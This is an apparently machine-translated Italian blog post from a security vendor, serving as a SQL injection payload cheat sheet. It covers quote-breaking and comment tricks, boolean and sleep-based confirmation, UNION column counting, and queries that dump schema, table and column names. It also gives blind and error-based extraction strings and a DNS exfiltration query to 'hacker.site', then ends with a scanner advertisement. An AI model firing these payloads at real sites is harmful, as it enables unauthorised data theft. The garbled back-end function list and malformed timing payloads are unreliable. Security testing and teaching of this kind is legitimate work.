Payload SQL Injection: come funzionano gli exploit SQLi
Che cos’è un payload SQL Injection?
SQL Injection rappresenta una vulnerabilità di sicurezza Web che consente agli aggressori di visualizzare i dati che non dovrebbero essere in grado di, consentendo all’attaccante di interferire con le query che un’applicazione fa al suo database iniettando payload SQL injection dannosi.
Ulteriori informazioni sugli attacchi SQL Injection in questo post del blog – Cosa sono le iniezioni SQL e come possono essere prevenute
In questo post del blog, vedremo come verificare se un sito Web è vulnerabile a SQLi e ai diversi payload SQL injection utilizzati per sfruttare diversi tipi di vulnerabilità SQL injection.
In questo articolo:
Conferma SQLi: Rilevamento del punto di ingresso
Per identificare se le applicazioni sono vulnerabili a SQLi ed è possibile utilizzare i payload successivi, è necessario prima essere in grado di iniettare dati nella query senza interromperla. Il primo passo è scoprire come fuggire dal contesto attuale.
Prova uno di questi esempi utili:
'
"
`
')
")
`)
'))
"))
`))
Per correggere la query è possibile inserire i dati in modo che la query precedente accetti i nuovi dati oppure è possibile inserire i dati e aggiungere un simbolo di commento alla fine.
Questa fase sarà più semplice se è possibile visualizzare i messaggi di errore o identificare se /quando una query funziona o meno.
MySQL
#comment
-- comment
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
Conferma di SQLi utilizzando operazioni logiche
È possibile confermare una vulnerabilità SQL injection eseguendo un’operazione logica. Se ottieni il risultato previsto, hai confermato SQLi.
Ecco come appare in pratica:
Se il parametro GET ?username=John
restituisce lo stesso contenuto di ?username=John'
o '1'='1
, è stata trovata una vulnerabilità SQL injection.
Questo concetto funziona anche per le operazioni matematiche:
Se ?id=1
restituisce lo stesso di ?id=2-1
, è stata trovata una vulnerabilità SQL injection.
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
Conferma di SQL injection con Timing
In alcuni casi quando si tenta di confermare un SQLi, non ci sarà un cambiamento evidente nella pagina che si sta testando. Questo indica un SQL cieco, che può essere identificato facendo in modo che il database esegua azioni che avranno un impatto sul tempo in cui la pagina deve essere caricata.
Aggiungeremo alla query SQL un’operazione che richiederà più tempo per essere eseguita, ad esempio eseguendo quanto segue:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND =DBMS_PIPE.RECEIVE_MESSAGE('',)
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND =LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
Le funzioni di sospensione non sono sempre consentite, quindi eseguire una query eseguire operazioni complesse che richiederanno invece diversi secondi.
Identificazione del back-end
Diversi backend hanno funzioni diverse, che possono essere identificate eseguendo tali funzioni. Esempi di queste funzioni sono:
MySQL,
,
,
MSSQL,
,
,
,
,
Oracle,
,
,
PostgreSQL,
,
,
,
,
,
SQLite,
,
,
MS Access,
,
,
,
,
Unione Basato su SQL Injection Payload
Rilevare il numero di colonne
query (quella originale e quella che abbiamo alter) deve restituire lo stesso numero di colonne. Ma come facciamo a sapere il numero di colonne che la richiesta iniziale sta restituendo? Di solito usiamo uno dei due seguenti metodi per ottenere il numero di colonne:
Order / Group by
Anche se GROUP BY
e ORDER BY
hanno diverse funzionalità in SQL, possono essere entrambi utilizzati per determinare il numero di colonne nella query. Incrementa il numero fino a ottenere una risposta falsa:
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
Nel caso di UNION SELECT, inserire un numero crescente di valori null fino a quando la query non è valida:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
Perché vengono utilizzati valori null? Ci sono casi in cui il tipo di colonne su entrambi i lati della query deve essere lo stesso. Null è valido in ogni caso.
Estrarre i nomi di database, tabelle e i nomi di colonna
Negli esempi seguenti, stiamo andando a recuperare il nome di tutti i database, i nomi delle tabelle da un database e i nomi delle colonne della tabella:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=
Il metodo utilizzato per scoprire questi dati variano dal database stesso, ma è sempre la stessa metodologia.
Payload SQL Injection basati su errori
Se l’output della query non è visibile, ma è possibile visualizzare i messaggi di errore, è possibile eseguire questi messaggi di errore per esfiltrare i dati dal database.
Simile all’Unione in Base sfruttamento esempio, si potrebbe dump del database:
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Blind SQL injection Payload
In caso di Blind SQL injection, non è possibile vedere i risultati della query, né gli errori, ma è possibile distinguere se la query ha restituito un vero o un falso risposta in base ai diversi contenuti della pagina.
È possibile abusare di tale comportamento per eseguire il dump del database char per char:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Errore Blind SQL Injection Payload
Come suggerisce il nome, questo è molto simile a Blind SQL injection, ma questa volta non è necessario distinguere tra una risposta vera o falsa. Si verifica se c’è un errore nella query SQL o meno, forzando un errore SQL ogni volta che si indovina correttamente il carattere:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Payload SQL Injection basati sul tempo
È possibile utilizzare questa tecnica principalmente quando si sta per sfruttare vulnerabilità cieche in cui si utilizza una seconda query per attivare una ricerca DNS, un errore condizionale o un ritardo temporale.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Le query in pila
Le query in pila possono essere utilizzate per eseguire più query in successione. Durante l’esecuzione delle query successive, i risultati non vengono restituiti all’applicazione. È possibile utilizzare questa tecnica quando le vulnerabilità ciechi in cui si utilizza una seconda query per attivare una ricerca DNS, errore condizionale, o un ritardo di tempo.
Mentre Oracle e MySQL non supportano le query in pila, Microsoft e PostgreSQL li supportano: QUERY-1-HERE; QUERY-2-HERE
Payload SQLi fuori banda
Se nessuno dei metodi di sfruttamento di cui sopra ha funzionato per voi, si può provare a fare il database exfiltrate i dati a un host esterno controllato da voi. Ad esempio, è possibile utilizzare le query DNS:
select load_file(concat('\\',version(),'.hacker.site\a.txt'));
Rileva SQL Injection con l’aiuto di Nexploit
Nexploit di NeuraLegion automatizza il rilevamento e la correzione di centinaia di vulnerabilità, tra cui SQL injection.
Integrando le scansioni DAST all’inizio del processo di sviluppo, gli sviluppatori e gli esperti di sicurezza delle applicazioni possono rilevare precocemente le vulnerabilità e correggerle prima che appaiano in produzione.
Con Nexploit le scansioni vengono eseguite in pochi minuti e i risultati vengono con zero falsi positivi. Ciò consente agli sviluppatori di adottare la soluzione e utilizzarla per tutto il ciclo di vita dello sviluppo.
Scansiona qualsiasi app web o API per prevenire le vulnerabilità di SQL injection-prova NeuraLegion Nexploit gratis.